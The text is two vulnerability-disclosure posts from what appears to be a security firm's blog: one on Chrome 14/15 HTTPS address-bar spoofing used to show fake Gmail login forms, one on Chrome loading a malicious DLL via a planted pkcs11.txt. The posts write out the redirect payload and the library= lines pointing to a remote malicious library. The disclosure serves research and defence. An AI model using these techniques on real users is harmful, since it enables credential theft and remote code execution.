Wednesday, January 4, 2012

Google Chrome HTTPS Address Bar Spoofing

The Fixed Bounty Bug Revealed

Last month Google awarded our security analyst Luka Treiber a Chromium Security Reward for a high-severity vulnerability fixed in version 16 of the Chrome web browser. Due to Chrome's automatic update mechanism we expect most browsers to be updated by now, which seems to be supported by StatCounter's Global Stats for January 2012, where Chrome 16 is the only Chrome version in the chart. Luka found this issue in Chrome 14 and we confirmed that Chrome 15 was vulnerable as well. This document presents the vulnerability in detail.

HTTPS-related  vulnerabilities tend to rate high on the severity scale as they allow attackers to make web site visitors - even the savvy ones who check for HTTPS evidence such as "https://" at the beginning of the URL - believe they are visiting a legitimate web site when they're actually on a malicious look-alike site. And when users trust a malicious web site, they will give it their credentials and personal data.

This bug is a nice addition to some other HTTPS-related vulnerabilities our security researchers have found in the past: bypassing HTTPS security warnings in Internet Explorer and Netscape Navigator (yes, we were breaking HTTPS back in 1999!), and Poisoning Cached HTTPS Documents in Internet Explorer. None of these break the cryptographic model or implementation supporting HTTPS, but rather exploit the integration of SSL/TLS into the browser and browser's presentation of security-relevant information to the user. These are often the weakest link in the security HTTPS is supposed to provide.


Chrome's Trigger-Happy Address Bar

There is an inconsistency in the way Chrome 14/15 renders some web page redirections in a way that allows an attacker to perform address bar spoofing, resulting in an HTTPS URL being displayed with the content from some other web site. Let's take, for example, a simple JavaScript redirection page located at http://source/sample.html that looks as follows:

location="http://target";

When observing the above code in execution all parts of Chrome's user interface behave consistently, meaning that as the address bar changes from URL of the source page to the target URL, the page content changes accordingly and promptly (at once). However, by altering the script like this:

location="view-source:http://source/redir.php?url=http://target";

one can see the address bar starts changing before the displayed page content is replaced. So for a split second the address bar displays the new address http://target while the DOM is still from the old address http://source/sample.html. The given example is composed of two tricks:

  1. Apparently the "view-source:" prefix causes the asynchronous behavior between the address bar and the DOM.
  2. The redir.php is an HTTP 302 redirection script used to cause a redirect from view-source:http://source/redir.php to http://target, thus removing the "view-source:" prefix from the URL (the goal is to spoof the address bar to a legitimate domain as will be shown later). After this redirection, the browser no longer displays the source code but renders the HTML of http://target.

All demonstrations provided below employ the above two tricks with http://target replaced by a Gmail login page address. However, to stop the redirection at the exact moment when the inconsistency between the address bar and the page contents is being exhibited, a further trick is used. Each of the three demonstrations employs a different trick to "freeze" the state of inconsistency for a long enough time for a user to enter his credentials.


Demonstration #1: Redirection To HTTPS On Port 80

In the first demonstration, https://proxy.google.com:80/ is used as target of the redir.php script to block the redirection for about 30 seconds. This occurs because Chrome is instructed to establish an HTTPS connection with a server on an HTTP port, which results in a 30-second hopeless handshake attempt between an SSL/TLS client and an HTTP server.

While the redirection using view-source:http://www.acrossecurity.com/redir.php?url=https://proxy.google.com:80/ is being fruitlessly attempted (and Chrome is already showing https://proxy.google.com:80/ in the address bar), a fake Gmail login page is displayed from attacker's web site. If username and password are entered and the submit button is pressed the data gets sent to http://www.acrossecurity.com (the "malicious" web site for the purpose of this blog post). Tests have shown that any unresponsive server script can be used instead of https://proxy.google.com:80, or even an invalid target URL such as view-source:http://xxxxxxxx.

Let's look at a video of this demonstration:



Demonstration #2: Using Google's Open Redirector

In the second demonstration, we avoid the suspicious 80 port in the URL by using some open redirector on https://*.google.com as the desired spoof URL. The demonstration is analogous to the previous one except that an additional redirect is used after the http://www.acrossecurity.com/redir.php script, and that https://proxy.google.com:80 is replaced with a download-throttling page http://www.acrossecurity.com/slow.php that delays the loading for an arbitrary amount of time. This time the URL that the redirection gets stuck on is https://www.google.com/url?q=http://www.acros.si/slow.php[...].

Let's see:



Demonstration #3: Delaying Redirection With A Blocked Modal Dialog

In the third and final demonstration, we manage to spoof the exact URL of the Gmail login page. To do that, a blocked modal dialog is used to stop the redirection instead of the "wrong port trick" with https://proxy.google.com:80 or the download-throttling slow.php employed in the previous demonstrations. A precondition in this case, for whatever reason, is that the user has come to the malicious web site from the spoofed-to-be host (in our case https://accounts.google.com) or another host in its 2nd level domain before address bar spoofing redirection begins. This precondition can easily be fulfilled using any one of the open redirectors on google.com servers.

An intentionally blocked modal dialog (blocked by Chrome's pop-up blocker) is used to stop the redirection after the address bar has already been updated with the new URL but the page content hasn't been refreshed yet. Like in the previous demonstrations, a fake login form is displayed, waiting for the user to provide his credentials. Curiously, any requests resulting from the form submittal are queued while the modal dialog is blocked. We solved this with a self-destruct script inside the modal dialog executing after the submit button has been pressed, thus releasing the said queue and allowing the credentials to be sent to attacker's server.

Let's see how this looks like (notice the blocked dialog icon on the right side of the address bar):



Practical Exploitability

While it would certainly be possible to trick some users into logging in to Gmail (or any other targeted web site) through links provided by a 3rd party malicious web site, most users are likely to visit their favorite web sites directly (by typing the host name) or using browser bookmarks. In this case, as long as the initial URL is non-HTTPS, a man-in-the-middle attacker (i.e., the guy sitting next to you in the coffee shop with free WiFi) can actively inject malicious code into the initial web site's HTML to exploit this vulnerability and present a legitimately-looking fake HTTPS login form to the user.

Finally, the hawk-eyed among you may have noticed that the spoofing is not entirely perfect: the icon left to the spoofed URL is a grey planet as is typical for HTTP addresses - and not a green lock as is typical for valid HTTPS addresses. However, while many users may notice the presence of "https" and consider it a guarantee of trust, they are less likely to notice the absence of a lock icon - especially since the visual identification of HTTPS URLs is different in different web browsers.

So could this vulnerability realistically be used for defeating HTTPS in actual attacks? We think so and so does Google - and we're glad this bug is now fixed. When more and more web sites are depending on the cryptographic security of HTTPS, this bug is a reminder that HTTPS is much more than just cryptography.

Thursday, October 20, 2011

Google Chrome pkcs11.txt File Planting

A Vuln, Or Not A Vuln, That Is The Question

[Update 10/27/2011: Chrome 15, released two days ago, makes this bug even harder to exploit as its phishing and malware protection (enabled by default in Chrome's Under the Hood options) now sends an HTTPS request to one of its servers immediately upon startup. Therefore, in addition to not having Google as the search engine and not having visited any HTTPS addresses before the attack, the user would also have to disable phishing and malware protection in order for this bug to be exploitable.]

Thirty days ago our company notified Google about a peculiar behavior of Chrome browser that can be exploited for execution of remote code outside Chrome sandbox under specific conditions. It is another case of file planting, where an application loads a data file (as opposed to binary file, leading to binary planting) from the current working directory. Similarly to our previously reported file planting in Java Runtime Environment (still there in current build 1.6.0_29 if you want to play with it), Chrome loads a data file, namely pkcs11.txt, from the root of the current working directory and in case the file exists, parses and processes its content. Security-wise, the most interesting value in a pkcs11.txt file is called library. Consider the following line in pkcs11.txt:

library=c:\temp\malicious.dll

This line will instruct Chrome to load library c:\temp\malicious.dll. To allow remote code execution attacks, it works with remote shared folders too; in our demonstration, the following line is used:

library=\\www.binaryplanting.com\demo\chrome_pkcs11Planting\malicious.lib

In addition, the library file doesn't have to have a known extension (such as ".dll"), which makes it harder to block it on a firewall.

Finally, Chrome sandbox doesn't provide any protection here as the entire process of loading pkcs11.txt and the associated library is done by the parent chrome.exe process. 


HTTPS, NSS And pkcs11.txt

Chrome loads "/pkcs11.txt" the first time it needs to do anything encryption-related, which in most cases means visiting an HTTPS URL. Chrome developers tracked this issue to one of Mozilla's Network Security Services (NSS) libraries, and it seems that it is a matter of unfortunate circumstances that gave life to this bug in Chrome, although the same bug may potentially exist in some other products integrating NSS libraries.


Exploit Conditions

If you carefully read the previous paragraph, you noticed two things: 

  1. Chrome loads pkcs11.txt the first time it needs PKCS #11 capabilities, and it never does it again until re-launched. This means that if the user has already visited an HTTPS address before, or any of the sites he visited has loaded an image or any other data via HTTPS, the attack opportunity is gone. What makes things worse for the attacker is the fact that when Google is the selected search engine - and it is by default -, Chrome sends a request to https://www.google.com/searchdomaincheck... to determine your local Google domain immediately upon startup. This triggers the loading of pkcs11.txt from the root of user's local system drive and closes the attacker's window of opportunity before it was ever really opened.
  2. The initial forward slash in the file name "/pkcs11.txt" means that pkcs11.txt will be loaded from the root of the current working directory, and not from the current working directory. For instance, if current working directory is C:\users\james\, Chrome will try to load C:\pkcs11.txt. In a shared folder case, if current working directory is \\server\share\somefolder\, Chrome will try to load \\server\share\pkcs11.txt.


So how can this vulnerability be exploited? Three conditions need to be met:

  1. Google must not be the selected search engine. This setting is configurable under the Options page, and users can set Yahoo, Bing, or any other search provider as their selected search engine. We confirmed that Yahoo and Bing don't send any HTTPS requests when Chrome is launched and are therefore suitable for mounting the attack.
  2. User must not have visited any HTTPS resources before the attack. As described above, the attack relies on the fact that the NSS capabilities have not been initialized yet in the running parent Chrome process. Ideally for the attacker, the user would have just launched Chrome and not visit any web sites that send HTTPS requests.
  3. Chrome's current working directory must be set to attacker-controlled location. Since Chrome sets its current working directory to its own folder on user's machine upon startup, double-clicking on HTML file in a remote shared folder (which often works for binary planting attacks) wouldn't achieve anything for the attacker. The best remaining way we know of to set the current working directory in Chrome are then the file browse dialogs. If the attacker could get the user to try to load a file from her network shared folder, and trigger the first HTTPS request while the user had this folder opened in the "Open" dialog, Chrome would load pkcs11.txt from the root of attacker's network share and load the library specified in it.

On-Line Demonstration

We have prepared an on-line demonstration at http://www.binaryplanting.com/demo/chrome_pkcs11Planting/. Simply open this page with Chrome and follow instructions. If you don't have Chrome handy and want to see what would happen if you did, here's a video of this demonstration:



Attack Improvements And Variations

Our demonstration requires you to wait until the count-down reaches 0 before the attack is completed and the remote DLL is loaded. The reason for this waiting is to make sure the "Open" dialog has successfully loaded the remote shared folder - which can take anywhere from 5 to 30 seconds according to our tests. A real attack would not keep you waiting: the attacker-controlled server could detect the incoming requests (SMB or WebDAV) indicating that Chrome's current working directory has been set to its network share and then instruct the web page already loaded in Chrome to make some HTTPS request - which would result in Chrome loading pkcs11.txt from attacker's network share just like in our demonstration.

Current working directory can also be set via the "Save As..." dialog and any other file browse dialog the attacker feels her victim would most likely be duped into opening.

A bizarre local variant of this same exploit is also possible in the extremely unlikely case that the user has his Downloads folder in the root of any one of his local drives. In that case, all the attacker would have to do is get a malicious pkcs11.txt downloaded in user's Chrome (which can happen in a drive-by fashion as .txt is not a "dangerous" extension) and wait for the user to open the "Save As..." dialog, which by default opens the Downloads folder's location.


So, Is This A Vulnerability Or Not?

Google decided that this was not a vulnerability, but rather a "strange behavior that [they] should consider changing". The reason they provided was that "the social engineering level involved here is significantly higher than 'Your computer is infected with a virus, download this free anti-virus software and run the exe file to fix it.'"

This is actually hard to dispute. From attacker's perspective, given these two attack options, she would probably be more successful with the "fake anti-virus" one than the "file planting" one. However, the "fake anti-virus" option may not work against corporate users whose firewalls are likely to prevent them from downloading an executable, and who may not be technically allowed (e.g., with AppLocker) to launch unauthorized executables. Additionally, employees who attended at least one security awareness session could be more suspicious about a "please download and execute this" than an "open a file from this folder" request. Then again, they may not be, who knows.

Regardless, as security researchers we consider any "feature" that allows silent downloading of remote code and its execution on user's computer without warnings a vulnerability. Clearly the same criteria cannot apply to Joe Average and someone working at a nuclear power plant, and it's not a big deal if Google doesn't share our vulnerability criteria (security experts disagree on many things all the time), but Google's reasoning opens up an interesting and important question: how much social engineering is too much?

Microsoft's Security Intelligence Report Volume 11 reveals (based on Microsoft's data) that 88% of attacks in the first half of 2011 were depending on what they call "user interaction" and "feature abuse", both of which are part of what is generally considered "social engineering," i.e., getting users to do something they otherwise wouldn't. While this doesn't answer the above question, it sheds some light on how prevalent, and successful, social engineering seems to be in the real attacks out there. It seems plausible that as technical security countermeasures block more and more attack paths, attackers will be looking for the remaining paths of least resistance: both technical resistance and social one.


What Can We Learn?


  1. Loading data files from untrusted locations can be dangerous, and this includes current working directory. Action item: fire up Process Monitor while testing your applications and see what they're loading.
  2. 3rd party libraries can introduce vulnerabilities into your software, and possibly only into your software. Action item: use 3rd party libraries whose developers are quick in fixing or at least which you can patch yourself. (The NSS library with this particular bug fortunately has both of these properties.)
  3. What is a vulnerability to some, can be just strange behavior to others, and there's no industry criteria for telling who's right. (Although we can probably agree that the actual attacker is always right.) Action item for the issue described in this post: Make sure your Chrome home page is an HTTPS address or loads at least one HTTPS resource, and you won't have to care who's right.


(This fine piece of security analysis has been done by Luka Treiber, security researcher at ACROS Security. Follow us on Twitter and stay updated on our future research.)